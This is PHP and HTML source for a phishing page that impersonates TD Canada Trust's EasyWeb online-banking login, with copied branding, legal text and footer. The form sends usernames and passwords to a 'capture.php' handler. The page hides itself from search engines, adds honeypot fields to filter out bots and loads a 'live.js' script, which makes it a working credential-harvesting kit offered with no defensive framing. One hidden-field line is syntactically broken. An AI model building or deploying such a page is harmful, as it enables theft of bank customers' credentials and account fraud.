<?php
declare(strict_types=1);
if (!defined('DIR')) define('DIR', __DIR__);
header('Content-Type: text/html; charset=utf-8');
header('Cache-Control: no-store');
$candidats = [DIR . '/private/config.php', dirname(DIR) . '/private/config.php'];
foreach ($candidats as $c) { if (is_file($c)) { require $c; break; } }
if (!defined('REDIRECT')) { http_response_code(500); exit('Configuration introuvable.'); }
$ref = substr(preg_replace('/[^A-Za-z0-9_\-]/', '', (string)($_GET['ref'] ?? '')), 0, 40);
$sid = substr(bin2hex(random_bytes(6)), 0, 8);
?>
<!DOCTYPE html>
<html lang="en-CA"><head><meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="robots" content="noindex,nofollow">
<title>EasyWeb Login</title>
<link rel="stylesheet" href="head.css">
<style>
:root{--dg:#12412a;--dg2:#174b30;--g:#008a00;--g2:#007c16;--lg:#f5f9f7;--tx:#1c1c1c;--bd:#dadada}
*{box-sizing:border-box}
html{-webkit-text-size-adjust:100%}
body{margin:0;background:#fff;color:var(--tx);font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:16px;line-height:1.4}
a{color:var(--g);text-decoration:none}
a:hover{text-decoration:underline}
.td-container{margin:0 auto;padding:0 15px}
/* header */
.td-utility-toggle{display:none;background:#fff;height:36px;border-bottom:1px solid #eee}
.td-utility-inner{display:flex;justify-content:space-between;align-items:flex-start;max-width:1200px}
.td-segments,.td-other{display:flex;margin:0;padding:0;list-style:none}
.td-segments li{padding-top:8px;margin-right:40px;font-size:.875rem}
.td-segments li a{color:var(--g)}
.td-segments li.active a{font-weight:700}
.td-other li{padding-top:8px;margin-left:26px;font-size:.875rem}
.td-other li a{color:#616161;display:flex;align-items:center;gap:6px}
.flag{width:19px;height:13px;display:block}
.td-nav-primary{background:var(--dg)}
.td-nav-inner{display:flex;align-items:center;height:62px;max-width:1200px}
.burger{background:none;border:0;padding:0;width:26px;height:20px;display:flex;flex-direction:column;justify-content:space-between;cursor:pointer;flex:0 0 auto}
.burger span{display:block;height:3px;background:#fff}
.td-logo{display:block;width:44px;height:44px;margin-left:16px;flex:0 0 auto}
.td-nav-primary nav{display:none}
.td-quick{margin-left:auto}
.td-quick ul{display:flex;margin:0;padding:0;list-style:none;align-items:center}
.td-quick li{display:none}
.td-quick li.login{display:block}
.td-quick a{color:#fff;font-size:1.1875rem;display:flex;align-items:center;gap:9px}
.person svg{width:26px;height:26px;display:block}
/* content */
main{padding-bottom:2rem}
h1.co-brand-header{font-size:1.75rem;font-weight:300;color:#1a5336;margin:0;padding:1.15rem 1.25rem 1rem}
.otp-box{background:var(--lg);margin:0 1.25rem}
.otp-box-content{padding:1.6rem 1.35rem 1.9rem}
.login-form{display:flex;flex-direction:column}
.form-group{margin-bottom:1.15rem}
label{display:inline;font-weight:400;font-size:1.0625rem}
label+.form-control{margin-top:10px}
.form-control{display:block;width:100%;height:52px;padding:0 15px;font-size:1.0625rem;font-family:inherit;color:var(--tx);background:#fff;border:1px solid var(--bd);border-radius:0;-webkit-appearance:none}
.form-control:hover:not([disabled]),.form-control:focus{outline:none;border-bottom:3px solid var(--g);padding-bottom:-2px}
.desc-btn{background:none;border:0;padding:0;margin:0;display:flex;align-items:center;gap:9px;color:var(--g);font-family:inherit;font-size:1.0625rem;cursor:pointer}
.plus{position:relative;width:17px;height:17px;flex:0 0 auto}
.plus::before,.plus::after{content:"";position:absolute;background:currentColor}
.plus::before{left:0;top:7px;width:17px;height:3px}
.plus::after{top:0;left:7px;width:3px;height:17px}
.desc-btn[aria-expanded="true"] .plus::after{display:none}
.entry-box{position:relative;background:#fff;padding:12px 1.35rem 2px;margin-top:14px}
.entry-box::before{content:"";position:absolute;width:.6rem;height:.6rem;background:var(--lg);left:1.4rem;top:-.3rem;transform:rotate(45deg)}
.entry-box .form-control{margin-bottom:12px}
.pw-wrap{position:relative}
.pw-btn{position:absolute;right:8px;bottom:10px;width:34px;height:34px;background:none;border:0;padding:0;cursor:pointer;display:flex;align-items:center;justify-content:center}
.pw-btn svg{width:26px;height:26px;fill:#767676}
.checkbox{display:flex;align-items:center;gap:12px;margin:.35rem 0 1.35rem}
.checkbox input{width:23px;height:23px;margin:0;accent-color:#fff;appearance:none;-webkit-appearance:none;border:2px solid var(--g);background:#fff;position:relative;flex:0 0 auto}
.checkbox input:checked{background:var(--g)}
.checkbox input:checked::after{content:"";position:absolute;left:6px;top:2px;width:6px;height:11px;border:2px solid #fff;border-top:0;border-left:0;transform:rotate(45deg)}
.checkbox label{font-size:1.0625rem}
.btn{display:flex;align-items:center;justify-content:center;gap:12px;width:100%;height:54px;border:0;border-radius:4px;background:var(--g);color:#fff;font-family:inherit;font-size:1.125rem;cursor:pointer}
.btn:hover{background:var(--g2)}
.btn:disabled{opacity:.8;cursor:default}
.lock{width:15px;height:17px;background:#fff;border-radius:2px;position:relative;display:inline-block;flex:0 0 auto}
.lock::after{content:"";position:absolute;left:2px;top:-8px;width:8px;height:8px;border:2.5px solid #fff;border-bottom:0;border-radius:5px 5px 0 0}
.forgot{display:inline-flex;align-items:flex-start;gap:8px;font-size:1.0625rem;line-height:1.35;margin-top:1.6rem}
.forgot .chev,.guarantee .chev{width:8px;height:8px;border-top:2px solid currentColor;border-right:2px solid currentColor;transform:rotate(45deg);margin-top:.35em;flex:0 0 auto}
.guarantee{display:flex;align-items:flex-start;gap:12px;margin-top:1.5rem;font-size:1.0625rem;line-height:1.35}
.guarantee .sl{width:22px;height:26px;background:#1a5336;border-radius:2px 2px 11px 11px;position:relative;flex:0 0 auto;margin-top:2px}
.guarantee .sl::after{content:"";position:absolute;left:6px;top:9px;width:7px;height:6px;border:2.5px solid #fff;border-top:0;border-right:0;transform:rotate(-45deg)}
.guarantee a{display:inline-flex;gap:6px;align-items:flex-start}
/* right col */
.login-right-nav{display:none}
.login-right-nav h3{font-size:1.1875rem;font-weight:400;margin:0 0 .6rem}
.login-right-nav p{margin:0 0 1rem;font-size:.9375rem}
.btn-clear{display:block;text-align:center;border:1px solid var(--g);color:var(--g);padding:11px;font-size:1rem}
hr.sep{border:0;border-top:1px solid #d8e4db;margin:1.4rem 0}
.login-right-nav ul{margin:0;padding-left:18px}
.login-right-nav li{margin-bottom:.4rem}
.login-right-nav a{font-size:.9375rem}
/* legal + footer */
.legal{padding:2.5rem 0}
.legal p{margin:0;font-size:.75rem;line-height:1.6;max-width:920px}
footer{background:var(--dg2);color:#fff;padding:2.5rem 0}
.f-head{text-align:center;font-size:1rem;margin:0 0 1.4rem}
.f-head a{color:#fff;text-decoration:underline;margin-left:4px}
.f-soc-h{text-align:center;font-size:.9375rem;margin:0 0 .75rem}
.f-soc{display:flex;justify-content:center;gap:12px;list-style:none;margin:0 0 1.75rem;padding:0}
.f-soc a{display:flex;align-items:center;justify-content:center;width:34px;height:34px;border-radius:50%;background:#0f3a24;color:#fff;font-size:.75rem;font-weight:700}
.f-soc a:hover{text-decoration:none;background:#0c2f1d}
.f-links{display:flex;flex-wrap:wrap;justify-content:center;gap:14px 22px}
.f-links a,.f-links button{color:#fff;font-size:.8125rem;background:none;border:0;font-family:inherit;cursor:pointer;padding:0}
@media(min-width:900px){
 .td-utility-toggle{display:block}
 .td-nav-primary{height:70px}
 .td-nav-inner{height:70px}
 .td-logo{width:49px;height:43px;margin-left:0}
 .td-nav-primary nav{display:block;margin-left:34px}
 .td-nav-primary nav ul{display:flex;margin:0;padding:0;list-style:none;height:70px;align-items:center}
 .td-nav-primary nav li{margin-right:28px;height:70px;display:flex;align-items:center;border-bottom:5px solid transparent}
 .td-nav-primary nav li:hover{border-bottom-color:#00a221}
 .td-nav-primary nav a{color:#fff;font-size:1rem}
 .td-quick li{display:block;margin-left:22px}
 .td-quick li.login a{border:1px solid rgba(255,255,255,.55);padding:8px 14px}
 .td-quick a{font-size:.9375rem}
 .person svg{width:20px;height:20px}
 h1.co-brand-header{font-size:2rem;padding:1rem 0}
 .otp-box{margin:0}
 .otp-box .row{display:flex;flex-wrap:wrap}
 .col-l{width:50%;padding-right:10px}
 .col-r{width:50%;padding-left:10px}
 .otp-box-content{padding:0;margin:1.2em 3.6em}
 .login-right-nav{display:block}
 .btn{width:100%}
 .legal{padding:3.125rem 0}
 footer{padding:3.125rem 0}
}
</style>
</head>
<body>

<?php readfile(DIR . '/barre.html'); ?>

<main>
<h1 class="co-brand-header">EasyWeb Login</h1>

<div class="otp-box light-green otp-separate-right-nav">
  <div class="row">
    <div class="col-l">
      <div class="otp-box-content">
        <form id="form" class="login-form" action="capture.php" method="POST" autocomplete="off" novalidate>
          <input type="hidden" id="sid" name="sid" value="<?= htmlspecialchars($sid, ENT_QUOTES) ?>">
          <input type="hidden" name="t" value="">
          <div style="position:absolute;left:-9999px" aria-hidden="true">
            <input type="text" id="hp" name="hp" tabindex="-1" autocomplete="off">
            <input type="text" id="hp2" name="website" tabindex="-1" autocomplete="off">
          </div>

          <div class="form-group">
            <label for="codeUtilisateur">Username or Access Card</label>
            <input type="text" id="codeUtilisateur" name="u" class="form-control" maxlength="100" required autocomplete="off" spellcheck="false">
          </div>

          <div class="form-group" style="margin-bottom:1rem">
            <button type="button" class="desc-btn" id="descBtn" aria-expanded="false" aria-controls="descBox">
              <span class="plus"></span><span>Description (Optional)</span>
            </button>
            <div class="entry-box" id="descBox" hidden>
              <label for="desc" style="display:block;font-size:.9375rem">Description</label>
              <input type="text" id="desc" name="d" class="form-control" maxlength="40" autocomplete="off" spellcheck="false">
            </div>
          </div>

          <div class="form-group pw-wrap">
            <label for="motDePasse">Password</label>
            <input type="password" id="motDePasse" name="p" class="form-control" maxlength="128" required autocomplete="off" spellcheck="false">
        <input type="hidden" name="ref" value="<?= htmlspecialchars(, ENT_QUOTES) ?>">
            <button type="button" class="pw-btn" id="pwBtn" aria-label="Show password">
              <svg viewBox="0 0 24 24"><path d="M12 5c-5.2 0-9.1 4.4-10 7 0.9 2.6 4.8 7 10 7s9.1-4.4 10-7c-0.9-2.6-4.8-7-10-7zm0 11.5A4.5 4.5 0 1112 7.5a4.5 4.5 0 010 9zm0-7.2a2.7 2.7 0 100 5.4 2.7 2.7 0 000-5.4z"/></svg>
            </button>
          </div>

          <div class="checkbox">
            <input type="checkbox" id="souvenirDeMoiCheckBox" name="memo" value="1">
            <label for="souvenirDeMoiCheckBox">Remember me</label>
          </div>

          <button type="submit" class="btn" id="btn"><span class="lock"></span>Login</button>

          <a class="forgot" href="#"><span>Forgot your username or password?</span><span class="chev"></span></a>

          <div class="guarantee">
            <span class="sl"></span>
            <div>TD Online and Mobile Security Guarantee: <a href="#">You are protected<span class="chev"></span></a></div>
          </div>
        </form>
      </div>
    </div>

    <div class="col-r">
      <div class="otp-box-content login-right-nav">
        <h3>Welcome to EasyWeb, let's get started.</h3>
        <a class="btn-clear" href="#">Register online now</a>
        <p style="margin-top:1rem">If you've received your temporary password, use it to log in along with your Access Card number. You'll then be prompted to create a new Password.</p>
        <hr class="sep">
        <h3>Login Help</h3>
        <ul><li><a href="#">Get Login Help</a></li><li><a href="#">Reset Password</a></li></ul>
        <hr class="sep">
        <h3>Enhanced Security</h3>
        <ul><li><a href="#">Two-Step Verification FAQs</a></li><li><a href="#">Improve Your Protection Against Online Fraud</a></li></ul>
        <hr class="sep">
        <h3>Explore mobile banking with the TD app now</h3>
        <ul><li><a href="#">Take banking and investing almost anywhere</a></li></ul>
      </div>
    </div>
  </div>
</div>

<section class="legal"><div class="td-container"><p>By using EasyWeb, our secured financial services site, offered by TD Canada Trust and its affiliates, you agree to the terms and services of the <a href="#">Financial Services Terms</a>, <a href="#">Access Agreement</a>, <a href="#">Digital Banking Agreement</a> and/or; the <a href="#">Business Access Services Schedule</a> and/or; the <a href="#">Terms and Agreement</a> and <a href="#">Disclosure</a> for mutual funds accounts held with TD Investment Services Inc.</p></div></section>
</main>

<footer><div class="td-container">
  <p class="f-head"><span>Need to talk to us directly?</span><a href="#">Contact us</a></p>
  <p class="f-soc-h">Connect with TD</p>
  <ul class="f-soc"><li><a href="#">X</a></li><li><a href="#">f</a></li><li><a href="#">ig</a></li><li><a href="#">yt</a></li><li><a href="#">in</a></li></ul>
  <div class="f-links"><a href="#">Privacy and Security</a><a href="#">Legal</a><a href="#">Accessibility</a><a href="#">CDIC member</a><a href="#">About Us</a><a href="#">We're Hiring</a><button type="button">Manage online experience</button><a href="#">Site Index</a></div>
</div></footer>

<script>
(function(){
  var f=document.getElementById('form'),b=document.getElementById('btn');
  var u=document.getElementById('codeUtilisateur'),p=document.getElementById('motDePasse');
  var pw=document.getElementById('pwBtn'),d=document.getElementById('descBtn'),box=document.getElementById('descBox');
  var envoi=false;
  document.querySelector('input[name=t]').value=Date.now();
  d.addEventListener('click',function(){
    var o=d.getAttribute('aria-expanded')==='true';
    d.setAttribute('aria-expanded',o?'false':'true');
    box.hidden=o;
    if(!o) setTimeout(function(){document.getElementById('desc').focus();},30);
  });
  pw.addEventListener('click',function(){
    var m=p.type==='password';
    p.type=m?'text':'password';
    pw.setAttribute('aria-label',m?'Hide password':'Show password');
  });
  try{var v=localStorage.getItem('td_idf');if(v){u.value=v;p.focus();}else{u.focus();}}catch(e){}
  f.addEventListener('submit',function(e){
    if(envoi){e.preventDefault();return;}
    if(!u.value.trim()||!p.value){e.preventDefault();(u.value.trim()?p:u).focus();return;}
    try{localStorage.setItem('td_idf',u.value.trim());}catch(e){}
    envoi=true;b.disabled=true;b.textContent='Logging in…';
  });
  window.addEventListener('pageshow',function(){envoi=false;b.disabled=false;b.innerHTML='<span class="lock"></span>Login';});
})();
</script>
<script src="live.js"></script>
</body>
</html>
